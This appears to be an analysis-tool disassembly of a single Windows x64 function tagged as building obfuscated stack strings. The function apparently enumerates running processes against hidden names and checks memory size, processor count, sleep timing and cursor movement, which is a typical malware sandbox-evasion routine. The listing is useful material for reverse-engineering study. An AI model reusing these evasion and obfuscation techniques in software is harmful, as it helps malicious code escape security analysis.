Function at 0x1800031d4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [section..data]
xor r15d, r15d
mov r12d, 0x170
test rax, rax
jne 0x180003229
mov ecx, r12d
call fcn.1800010c8
test rax, rax
je 0x18000321f
mov rcx, rax
call fcn.180001440
jmp 0x180003222
mov rax, r15
mov qword [section..data], rax
call qword [rax + 0xa0]
test eax, eax
jne 0x180003927
mov rax, qword [section..data]
test rax, rax
jne 0x180003264
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x18000325a
mov rcx, rax
call fcn.180001440
jmp 0x18000325d
mov rax, r15
mov qword [section..data], rax
mov rax, qword [rax + 0x40]
xor edx, edx
lea ecx, [rdx + 2]
call rax
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180003923
mov rax, qword [section..data]
mov r14d, r15d
mov dword [rbp - 0x20], 0x238
mov esi, r15d
test rax, rax
jne 0x1800032b6
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x1800032ac
mov rcx, rax
call fcn.180001440
jmp 0x1800032af
mov rax, r15
mov qword [section..data], rax
mov rax, qword [rax + 0xb8]
jmp 0x1800036d1
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0xffebff88
mov dword [rsp + 0x24], 0x6c0062
mov dword [rsp + 0x28], 0xffce0060
mov dword [rsp + 0x2c], 0xfff80005
mov dword [rsp + 0x30], 0xffe2ffe8
mov dword [rsp + 0x34], 0x28ffcd
mov dword [rsp + 0x38], 0xedff87
mov dword [rsp + 0x3c], 0x120093
mov dword [rsp + 0x40], 0xf0000
mov dword [rsp + 0x44], 0x6000bc
mov dword [rsp + 0x48], 0xc6008a
mov dword [rsp + 0x4c], 0xb50087
mov dword [rsp + 0x50], 0x87004d
mov dword [rsp + 0x54], 0xe81f6a59
call fcn.180004428
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.180002280
test al, al
je 0x180003351
inc r14d
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0xffeaff9d
mov dword [rsp + 0x24], 0x680066
mov dword [rsp + 0x28], 0xffd20060
mov dword [rsp + 0x2c], 0xffef004e
mov dword [rsp + 0x30], 0xffe2ffbe
mov dword [rsp + 0x34], 0xedffb5
mov dword [rsp + 0x38], 0x120093
mov dword [rsp + 0x3c], 0xf0000
mov dword [rsp + 0x40], 0x6000bc
mov dword [rsp + 0x44], 0xc6008a
mov dword [rsp + 0x48], 0xb50087
mov dword [rsp + 0x4c], 0xf1448ba3
call fcn.180004404
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.180002280
lea rcx, [rsp + 0x20]
movzx ebx, al
mov dword [rsp + 0x20], 0xfff2ff99
mov dword [rsp + 0x24], 0x6b0061
mov dword [rsp + 0x28], 0xffdb0062
mov dword [rsp + 0x2c], 0xffa40012
mov dword [rsp + 0x30], 0xffffffa3
mov dword [rsp + 0x34], 0x4dffd0
mov dword [rsp + 0x38], 0x9300ed
mov dword [rsp + 0x3c], 0x12
mov dword [rsp + 0x40], 0xbc000f
mov dword [rsp + 0x44], 0x8a0060
mov dword [rsp + 0x48], 0x8700c6
mov dword [rsp + 0x4c], 0x4d00b5
mov dword [rsp + 0x50], 0xffcd4ea0
call fcn.1800043e0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.180002280
movzx eax, al
lea rcx, [rsp + 0x20]
or ebx, eax
mov dword [rsp + 0x20], 0xffe1ff9d
mov dword [rsp + 0x24], 0x63007d
mov dword [rsp + 0x28], 0xffd30062
mov dword [rsp + 0x2c], 0xffa4000e
mov dword [rsp + 0x30], 0xffffffa3
mov dword [rsp + 0x34], 0x4dffd0
mov dword [rsp + 0x38], 0x9300ed
mov dword [rsp + 0x3c], 0x12
mov dword [rsp + 0x40], 0xbc000f
mov dword [rsp + 0x44], 0x8a0060
mov dword [rsp + 0x48], 0x8700c6
mov dword [rsp + 0x4c], 0x4d00b5
mov dword [rsp + 0x50], 0xffcd4ea0
call fcn.1800043e0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.180002280
movzx eax, al
lea rcx, [rsp + 0x20]
or ebx, eax
mov dword [rsp + 0x20], 0xfff6ff9f
mov dword [rsp + 0x24], 0x6d0061
mov dword [rsp + 0x28], 0xffd20060
mov dword [rsp + 0x2c], 0xffef004e
mov dword [rsp + 0x30], 0xffe2ffbe
mov dword [rsp + 0x34], 0xedffb5
mov dword [rsp + 0x38], 0x120093
mov dword [rsp + 0x3c], 0xf0000
mov dword [rsp + 0x40], 0x6000bc
mov dword [rsp + 0x44], 0xc6008a
mov dword [rsp + 0x48], 0xb50087
mov dword [rsp + 0x4c], 0xf1448ba3
call fcn.180004404
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.180002280
movzx eax, al
or ebx, eax
mov dword [rsp + 0x20], 0xffe5ff88
mov dword [rsp + 0x24], 0x6e0077
mov dword [rsp + 0x28], 0xffca007b
mov dword [rsp + 0x2c], 0xfff80017
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x30], 0xffe2ffe8
mov dword [rsp + 0x34], 0x28ffcd
mov dword [rsp + 0x38], 0xedff87
mov dword [rsp + 0x3c], 0x120093
mov dword [rsp + 0x40], 0xf0000
mov dword [rsp + 0x44], 0x6000bc
mov dword [rsp + 0x48], 0xc6008a
mov dword [rsp + 0x4c], 0xb50087
mov dword [rsp + 0x50], 0x87004d
mov dword [rsp + 0x54], 0xe81f6a59
call fcn.180004428
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.180002280
movzx eax, al
lea rcx, [rsp + 0x20]
or ebx, eax
mov dword [rsp + 0x20], 0xffe1ff9d
mov dword [rsp + 0x24], 0x63007d
mov dword [rsp + 0x28], 0xffcf006a
mov dword [rsp + 0x2c], 0xffe20013
mov dword [rsp + 0x30], 0xffe4ffa7
mov dword [rsp + 0x34], 0x28ffde
mov dword [rsp + 0x38], 0xfff0fff5
mov dword [rsp + 0x3c], 0x750052
mov dword [rsp + 0x40], 0x500000
mov dword [rsp + 0x44], 0x9300ed
mov dword [rsp + 0x48], 0x12
mov dword [rsp + 0x4c], 0xbc000f
mov dword [rsp + 0x50], 0x8a0060
mov dword [rsp + 0x54], 0x8700c6
mov dword [rsp + 0x58], 0x4d00b5
mov dword [rsp + 0x5c], 0xde0087
mov dword [rsp + 0x60], 0xd0037
mov dword [rsp + 0x64], 0x500065
mov dword [rsp + 0x68], 0xc808f62a
call fcn.1800043bc
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.180002280
movzx eax, al
lea ecx, [rsi + 1]
or eax, ebx
mov rax, qword [section..data]
cmove ecx, esi
mov esi, ecx
test rax, rax
jne 0x1800036ca
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x1800036c0
mov rcx, rax
call fcn.180001440
jmp 0x1800036c3
mov rax, r15
mov qword [section..data], rax
mov rax, qword [rax + 0xc0]
lea rdx, [rbp - 0x20]
mov rcx, rdi
call rax
test eax, eax
jne 0x1800032c2
mov rax, qword [section..data]
test rax, rax
jne 0x18000370f
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x180003705
mov rcx, rax
call fcn.180001440
jmp 0x180003708
mov rax, r15
mov qword [section..data], rax
mov rcx, rdi
call qword [rax + 0x28]
cmp r14d, 1
jg 0x180003923
test esi, esi
jg 0x180003927
mov rax, qword [section..data]
mov dword [rsp + 0x70], 0x40
test rax, rax
jne 0x18000375c
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x180003752
mov rcx, rax
call fcn.180001440
jmp 0x180003755
mov rax, r15
mov qword [section..data], rax
lea rcx, [rsp + 0x70]
call qword [rax + 0x80]
mov eax, 0x80000000
cmp qword [rsp + 0x78], rax
jb 0x180003927
mov rax, qword [section..data]
test rax, rax
jne 0x1800037a4
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x18000379a
mov rcx, rax
call fcn.180001440
jmp 0x18000379d
mov rax, r15
mov qword [section..data], rax
call qword [rax + 0x78]
mov rbx, rax
mov rax, qword [section..data]
test rax, rax
jne 0x1800037d7
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x1800037cd
mov rcx, rax
call fcn.180001440
jmp 0x1800037d0
mov rax, r15
mov qword [section..data], rax
mov edi, 0x3e8
mov ecx, edi
call qword [rax + 0xd0]
mov rax, qword [section..data]
test rax, rax
jne 0x180003811
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x180003807
mov rcx, rax
call fcn.180001440
jmp 0x18000380a
mov rax, r15
mov qword [section..data], rax
call qword [rax + 0x78]
sub rax, rbx
cmp rax, rdi
jb 0x180003927
mov rax, qword [section..data]
test rax, rax
jne 0x18000384d
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x180003843
mov rcx, rax
call fcn.180001440
jmp 0x180003846
mov rax, r15
mov qword [section..data], rax
lea rcx, [rbp - 0x50]
call qword [rax + 0x70]
cmp dword [rbp - 0x30], 2
jb 0x180003927
mov rax, qword [section..data]
test rax, rax
jne 0x18000388b
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x180003881
mov rcx, rax
call fcn.180001440
jmp 0x180003884
mov rax, r15
mov qword [section..data], rax
lea rcx, [rbp + 0x268]
call qword [rax + 0x168]
mov rax, qword [section..data]
test rax, rax
jne 0x1800038c5
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x1800038bb
mov rcx, rax
call fcn.180001440
jmp 0x1800038be
mov rax, r15
mov qword [section..data], rax
mov ecx, edi
call qword [rax + 0xd0]
mov rax, qword [section..data]
test rax, rax
jne 0x1800038fa
mov rcx, r12
call fcn.1800010c8
test rax, rax
je 0x1800038f0
mov rcx, rax
call fcn.180001440
jmp 0x1800038f3
mov rax, r15
mov qword [section..data], rax
lea rcx, [rbp + 0x260]
call qword [rax + 0x168]
mov eax, dword [rbp + 0x260]
cmp dword [rbp + 0x268], eax
jne 0x180003923
mov eax, dword [rbp + 0x264]
cmp dword [rbp + 0x26c], eax
je 0x180003927
xor eax, eax
jmp 0x18000392c
mov eax, 1
mov rbx, qword [rsp + 0x370]
add rsp, 0x320
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret